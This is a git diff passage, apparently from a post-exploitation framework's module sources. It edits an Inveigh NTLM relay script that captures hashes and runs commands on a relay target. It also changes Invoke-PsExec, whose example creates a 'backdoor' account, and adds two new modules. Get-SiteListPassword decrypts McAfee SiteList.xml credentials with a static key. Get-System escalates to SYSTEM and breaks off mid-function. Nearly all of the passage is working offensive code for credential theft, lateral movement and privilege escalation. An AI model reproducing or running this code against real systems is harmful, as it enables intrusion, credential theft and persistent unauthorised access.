$SMB_blob_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 27)) $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 86)) $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + [array]::Reverse($SMB_length_1) + [array]::Reverse($SMB_length_2) + [array]::Reverse($SMB_length_3) + [array]::Reverse($SMB_NTLMSSP_length) [array]::Reverse($SMB_netbios_length) $j = 0 @@ -538,17 +596,17 @@ $SMB_relay_response_scriptblock = + $SMB_blob_length` + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)` + $SMB_byte_count` - + (0xa1,0x82,0x01)` + + (0xa1,0x82)` + $SMB_length_1` - + (0x30,0x82,0x01)` + + (0x30,0x82)` + $SMB_length_2` - + (0xa2,0x82,0x01)` + + (0xa2,0x82)` + $SMB_length_3` - + (0x04,0x82,0x01)` + + (0x04,0x82)` + $SMB_NTLMSSP_length` + $HTTP_request_bytes` + (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00) - + $SMB_relay_response_stream.write($SMB_relay_response_send, 0, $SMB_relay_response_send.length) $SMB_relay_response_stream.Flush() @@ -595,17 +653,17 @@ $SMB_relay_execute_scriptblock = $SMB_relay_failed = $false $SMB_relay_execute_bytes = New-Object System.Byte[] 1024 - $SMB_service_random = [String]::Join("00-", (1..20 | % {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) + $SMB_service_random = [String]::Join("00-", (1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) $SMB_service = $SMB_service_random -replace "-00","" $SMB_service = $SMB_service.Substring(0,$SMB_service.Length-1) - $SMB_service = $SMB_service.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_service = $SMB_service.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) $SMB_service_random += '00-00-00' - [Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - $SMB_referent_ID_bytes = [String](1..4 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + [Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_referent_ID_bytes = [String](1..4 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMBRelayCommand = "%COMSPEC% /C `"" + $SMBRelayCommand + "`"" - [System.Text.Encoding]::ASCII.GetBytes($SMBRelayCommand) | % { $SMB_relay_command += "{0:X2}-00-" -f $_ } + [System.Text.Encoding]::UTF8.GetBytes($SMBRelayCommand) | ForEach-Object{ $SMB_relay_command += "{0:X2}-00-" -f $_ } if([bool]($SMBRelayCommand.length%2)) { @@ -616,7 +674,7 @@ $SMB_relay_execute_scriptblock = $SMB_relay_command += '00-00-00-00' } - [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_service_data_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237) $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0] $SMB_service_byte_count_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237 - 63) @@ -885,7 +943,7 @@ $SMB_relay_execute_scriptblock = # HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener $HTTP_scriptblock = { - param ($SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$MachineAccounts,$ForceWPADAuth) + param ($SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$MachineAccounts,$WPADAuth) Function NTLMChallengeBase64 { @@ -893,19 +951,19 @@ $HTTP_scriptblock = $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} if($Inveigh.challenge) { $HTTP_challenge = $Inveigh.challenge $HTTP_challenge_bytes = $Inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} } else { - $HTTP_challenge_bytes = [String](1..8 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} } $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) |Out-Null @@ -946,8 +1004,7 @@ $HTTP_scriptblock = $HTTP_type = "HTTP" } - - if (($inveigh.request.RawUrl -match '/wpad.dat') -and ($ForceWPADAuth -eq 'n')) + if (($inveigh.request.RawUrl -match '/wpad.dat') -and ($WPADAuth -eq 'Anonymous')) { $inveigh.response.StatusCode = 200 } @@ -966,6 +1023,9 @@ $HTTP_scriptblock = if ($HTTP_request_bytes[8] -eq 1) { + $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)]) + if(($inveigh.SMB_relay) -and ($inveigh.SMB_relay_active_step -eq 0) -and ($inveigh.request.RemoteEndpoint.Address -ne $SMBRelayTarget)) { $inveigh.SMB_relay_active_step = 1 @@ -1078,7 +1138,7 @@ $HTTP_scriptblock = } } - if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat)) + if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat)) { $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address } @@ -1104,7 +1164,7 @@ $HTTP_scriptblock = } - if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat)) + if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat)) { $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address } @@ -1146,7 +1206,7 @@ $HTTP_scriptblock = } else { - $inveigh.console_queue.add("NTLMv1 relay not yet supported") + $inveigh.console_queue.add("NTLMv1 SMB relay not yet supported") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")]) $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() @@ -1191,7 +1251,74 @@ $HTTP_scriptblock = $HTTP_stream.write($HTTP_buffer, 0, $HTTP_buffer.length) $HTTP_stream.close() - if(!$inveigh.running -and $inveigh.file_output) + } + + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() +} + +$control_relay_scriptblock = +{ + param ($RunTime) + + if($RunTime) + { + $control_timeout = new-timespan -Minutes $RunTime + $control_stopwatch = [diagnostics.stopwatch]::StartNew() + } + + while ($inveigh.relay_running) + { + + if($RunTime) + { + if($control_stopwatch.elapsed -ge $control_timeout) + { + if($inveigh.HTTP_listener.IsListening) + { + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() + } + + $inveigh.console_queue.add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) + Start-Sleep -m 5 + $inveigh.relay_running = $false + + if($inveigh.HTTPS) + { + & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null + + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0] + $certificate_store.Remove($certificate) + $certificate_store.Close() + } + catch + { + if($inveigh.status_output) + { + $inveigh.console_queue.add("SSL Certificate Deletion Error - Remove Manually") + } + + $inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually"| Out-File $Inveigh.log_out_file -Append + } + } + } + + $inveigh.HTTP = $false + $inveigh.HTTPS = $false + } + } + + if($inveigh.file_output -and (!$inveigh.running -or !$inveigh.bruteforce_running)) { while($inveigh.log_file_queue.Count -gt 0) { @@ -1210,13 +1337,17 @@ $HTTP_scriptblock = $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append $inveigh.NTLMv2_file_queue.RemoveRange(0,1) } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveRange(0,1) + } } + Start-Sleep -m 5 } - - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() -} + } # HTTP/HTTPS Listener Startup Function Function HTTPListener() @@ -1248,8 +1379,21 @@ Function HTTPListener() $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument( $SMBRelayTarget).AddArgument($SMBRelayCommand).AddArgument($SMBRelayUsernames).AddArgument( $SMBRelayAutoDisable).AddArgument($SMBRelayNetworkTimeout).AddArgument( - $MachineAccounts).AddArgument($ForceWPADAuth) > $null - $HTTP_handle = $HTTP_powershell.BeginInvoke() + $MachineAccounts).AddArgument($WPADAuth) > $null + $HTTP_powershell.BeginInvoke() > $null +} + +# Control Relay Startup Function +Function ControlRelayLoop() +{ + $control_relay_runspace = [runspacefactory]::CreateRunspace() + $control_relay_runspace.Open() + $control_relay_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_relay_powershell = [powershell]::Create() + $control_relay_powershell.Runspace = $control_relay_runspace + $control_relay_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($RunTime) > $null + $control_relay_powershell.BeginInvoke() > $null } # HTTP Server Start @@ -1258,6 +1402,12 @@ if($inveigh.HTTP -or $inveigh.HTTPS) HTTPListener } +# Control Relay Loop Start +if($RunTime -or $inveigh.file_output) +{ + ControlRelayLoop +} + if(!$inveigh.running -and $inveigh.console_output) { @@ -1274,33 +1424,31 @@ if(!$inveigh.running -and $inveigh.console_output) { switch -wildcard ($inveigh.console_queue[0]) { - "*local administrator*" + "Inveigh *exited *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv1 challenge/response written*" - { - if($inveigh.file_output) + "* written to *" { - write-warning $inveigh.console_queue[0] - } + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) + "* for relay *" { write-warning $inveigh.console_queue[0] - } $inveigh.console_queue.RemoveRange(0,1) } - "* relay *" + "*SMB relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "Service *" + "* local administrator *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) @@ -1327,4 +1475,4 @@ if(!$inveigh.running -and $inveigh.console_output) } } -} +} \ No newline at end of file diff --git a/data/module_source/lateral_movement/Invoke-PsExec.ps1 b/data/module_source/lateral_movement/Invoke-PsExec.ps1 index 699dc5376..06f6e883a 100644 --- a/data/module_source/lateral_movement/Invoke-PsExec.ps1 +++ b/data/module_source/lateral_movement/Invoke-PsExec.ps1 @@ -1,80 +1,90 @@ function Invoke-PsExec { - <# +<# .SYNOPSIS - This function is a rough port of Metasploit's psexec functionality. - It utilizes Windows API calls to open up the service manager on - a remote machine, creates/run a service with an associated binary - path or command, and then cleans everything up. - Either a -Command or a custom -ServiceEXE can be specified. - For -Commands, a -ResultsFile can also be specified to retrieve the - results of the executed command. + This function is a rough port of Metasploit's psexec functionality. + It utilizes Windows API calls to open up the service manager on + a remote machine, creates/run a service with an associated binary + path or command, and then cleans everything up. - Adapted from MSF's version (see links). + Either a -Command or a custom -ServiceEXE can be specified. + For -Commands, a -ResultsFile can also be specified to retrieve the + results of the executed command. - Author: @harmj0y - License: BSD 3-Clause + Adapted from MSF's version (see links). + + Author: @harmj0y + License: BSD 3-Clause .PARAMETER ComputerName - ComputerName to run the command on. + + ComputerName to run the command on. .PARAMETER Command - Binary path (or Windows command) to execute. + + Binary path (or Windows command) to execute. .PARAMETER ServiceName - The name of the service to create, defaults to "TestSVC" + + The name of the service to create, defaults to "TestSVC" .PARAMETER ResultFile - If you want results from your command, specify this flag. - Name of the file to write the results to locally, defaults to - copying in the temporary result file to the local location. + + Switch. If you want results from your command, specify this flag. + Name of the file to write the results to locally, defaults to + copying in the temporary result file to the local location. .PARAMETER ServiceEXE - Local service binary to upload/execute on the remote host - (instead of a command to execute). + + Local service binary to upload/execute on the remote host + (instead of a command to execute). .PARAMETER NoCleanup - Don't remove the service after starting it (for ServiceEXEs). + + Don't remove the service after starting it (for ServiceEXEs). .EXAMPLE - > Invoke-PsExec -ComputerName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32 - Creates a user named backdoor on the 192.168.50.200 host, with the - temporary service being named 'Updater32'. + PS C:\> Invoke-PsExec -ComputerName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32 + + Creates a user named backdoor on the 192.168.50.200 host, with the + temporary service being named 'Updater32'. .EXAMPLE - > Invoke-PsExec -ComputerName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt" - Runs the "dir C:\" command on 192.168.50.200 with a temporary service named 'Updater32', - and copies the result file to "results.txt" on the local path. + PS C:\> Invoke-PsExec -ComputerName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt" + + Runs the "dir C:\" command on 192.168.50.200 with a temporary service named 'Updater32', + and copies the result file to "results.txt" on the local path. .EXAMPLE - > Invoke-PsExec -ComputerName 192.168.50.200 -ServiceName Updater32 -ServiceEXE "service.exe" - Uploads "service.exe" to the remote host, registers/starts it as a service with name - 'Updater32', and removes the service/binary after it runs (or fails to respond w/in 30 seconds). + PS C:\> Invoke-PsExec -ComputerName 192.168.50.200 -ServiceName Updater32 -ServiceEXE "service.exe" + + Uploads "service.exe" to the remote host, registers/starts it as a service with name + 'Updater32', and removes the service/binary after it runs (or fails to respond w/in 30 seconds). .LINK - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb - https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb - #> + https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb + https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb +#> [CmdletBinding()] param( [Parameter(Mandatory = $True)] - [string] + [String] $ComputerName, - [string] + [String] $Command, - [string] + [String] $ServiceName = "TestSVC", - [string] + [String] $ResultFile, - [string] + [String] $ServiceEXE, [switch] @@ -163,14 +173,14 @@ function Invoke-PsExec { { param( [Parameter(Mandatory = $True)] - [string] + [String] $ComputerName, [Parameter(Mandatory = $True)] - [string] + [String] $Command, - [string] + [String] $ServiceName = "TestSVC", [switch] @@ -184,23 +194,23 @@ function Invoke-PsExec { $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA - $OpenSCManagerADelegate = Get-DelegateType @( [string], [string], [Int]) ([IntPtr]) + $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr]) $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA - $OpenServiceADelegate = Get-DelegateType @( [Int], [String], [Int]) ([Int]) + $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr]) $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA - $CreateServiceADelegate = Get-DelegateType @( [Int], [string], [string], [Int], [Int], [Int], [Int], [string], [string], [Int], [Int], [Int], [Int]) ([IntPtr]) + $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr]) $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA - $StartServiceADelegate = Get-DelegateType @( [Int], [Int], [Int]) ([Int]) + $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr]) $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService - $DeleteServiceDelegate = Get-DelegateType @( [Int] ) ([Int]) + $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr]) $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError diff --git a/data/module_source/privesc/Get-SiteListPassword.ps1 b/data/module_source/privesc/Get-SiteListPassword.ps1 new file mode 100644 index 000000000..f6318729b --- /dev/null +++ b/data/module_source/privesc/Get-SiteListPassword.ps1 @@ -0,0 +1,178 @@ +function Get-SiteListPassword { +<# + .SYNOPSIS + + Retrieves the plaintext passwords for found McAfee's SiteList.xml files. + Based on Jerome Nokin (@funoverip)'s Python solution (in links). + + PowerSploit Function: Get-SiteListPassword + Original Author: Jerome Nokin (@funoverip) + PowerShell Port: @harmj0y + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .PARAMETER SiteListFilePath + + Optional path to a SiteList.xml file. + + .EXAMPLE + + PS C:\> Get-SiteListPassword + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : + Path : Products/CommonUpdater + Name : McAfeeHttp + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : + Server : update.nai.com:80 + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : McAfeeService + Path : Repository$ + Name : Paris + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : companydomain + Server : paris001 + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : McAfeeService + Path : Repository$ + Name : Tokyo + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : companydomain + Server : tokyo000 + + .LINK + https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ + https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ + https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md +#> + + [CmdletBinding()] + param( + [ValidateScript({Test-Path -Path $_ })] + [String] + $SiteListFilePath + ) + + function Get-DecryptedSitelistPassword { + # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ + # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com) + # port by @harmj0y + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True)] + [String] + $B64Pass + ) + + # make sure the appropriate assemblies are loaded + Add-Type -assembly System.Security + Add-Type -assembly System.Core + + # declare the encoding/crypto providers we need + $Encoding = [System.Text.Encoding]::ASCII + $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider + $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider + + # static McAfee key XOR key LOL + $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 + + # xor the input b64 string with the static XOR key + $I = 0; + $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] } + + # build the static McAfee 3DES key TROLOL + $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('')) + ,0x00*4 + + # set the options we need + $3DES.Mode = 'ECB' + $3DES.Padding = 'None' + $3DES.Key = $3DESKey + + # decrypt the unXor'ed block + $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length) + + # ignore the padding for the result + $Index = [Array]::IndexOf($Decrypted, [Byte]0) + if($Index -ne -1) { + $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)]) + } + else { + $DecryptedPass = $Encoding.GetString($Decrypted) + } + + New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass} + } + + function Get-SitelistFields { + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True)] + [String] + $Path + ) + + try { + [Xml]$SiteListXml = Get-Content -Path $Path + + if($SiteListXml.InnerXml -Like "*password*") { + Write-Verbose "Potential password in found in $Path" + + $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object { + try { + $PasswordRaw = $_.Password.'#Text' + + if($_.Password.Encrypted -eq 1) { + # decrypt the base64 password if it's marked as encrypted + $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} + } + else { + $DecPassword = $PasswordRaw + } + + $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server } + $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath } + + $ObjectProperties = @{ + 'Name' = $_.Name; + 'Enabled' = $_.Enabled; + 'Server' = $Server; + 'Path' = $Path; + 'DomainName' = $_.DomainName; + 'UserName' = $_.UserName; + 'EncPassword' = $PasswordRaw; + 'DecPassword' = $DecPassword; + } + New-Object -TypeName PSObject -Property $ObjectProperties + } + catch { + Write-Debug "Error parsing node : $_" + } + } + } + } + catch { + Write-Error $_ + } + } + + if($SiteListFilePath) { + $XmlFiles = Get-ChildItem -Path $SiteListFilePath + } + else { + $XmlFiles = 'C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\' | Foreach-Object { + Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue + } + } + + $XmlFiles | Where-Object { $_ } | Foreach-Object { + Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'" + Get-SitelistFields -Path $_.Fullname + } +} diff --git a/data/module_source/privesc/Get-System.ps1 b/data/module_source/privesc/Get-System.ps1 new file mode 100644 index 000000000..17f5c4170 --- /dev/null +++ b/data/module_source/privesc/Get-System.ps1 @@ -0,0 +1,590 @@ +function Get-System { +<# + .SYNOPSIS + + GetSystem functionality inspired by Meterpreter's getsystem. + 'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create + a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. + NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure + token duplication works correctly. + + PowerSploit Function: Get-System + Author: @harmj0y, @mattifestation + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .PARAMETER Technique + + The technique to use, 'NamedPipe' or 'Token'. + + .PARAMETER ServiceName + + The name of the service used with named pipe impersonation, defaults to 'TestSVC'. + + .PARAMETER PipeName + + The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. + + .PARAMETER RevToSelf + + Reverts the current thread privileges. + + .PARAMETER WhoAmI + + Switch. Display the credentials for the current PowerShell thread. + + .EXAMPLE + + PS> Get-System + + Uses named impersonate to elevate the current thread token to SYSTEM. + + .EXAMPLE + + PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' + + Uses named impersonate to elevate the current thread token to SYSTEM + with a custom service and pipe name. + + .EXAMPLE + + PS> Get-System -Technique Token + + Uses token duplication to elevate the current thread token to SYSTEM. + + .EXAMPLE + + PS> Get-System -WhoAmI + + Displays the credentials for the current thread. + + .EXAMPLE + + PS> Get-System -RevToSelf + + Reverts the current thread privileges. + + .LINK + + https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c + https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot + http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ + http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ +#> + [CmdletBinding(DefaultParameterSetName = 'NamedPipe')] + param( + [Parameter(ParameterSetName = "NamedPipe")] + [Parameter(ParameterSetName = "Token")] + [String] + [ValidateSet("NamedPipe", "Token")] + $Technique = 'NamedPipe', + + [Parameter(ParameterSetName = "NamedPipe")] + [String] + $ServiceName = 'TestSVC', + + [Parameter(ParameterSetName = "NamedPipe")] + [String] + $PipeName = 'TestSVC', + + [Parameter(ParameterSetName = "RevToSelf")] + [Switch] + $RevToSelf, + + [Parameter(ParameterSetName = "WhoAmI")] + [Switch] + $WhoAmI + ) + + $ErrorActionPreference = "Stop" + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = 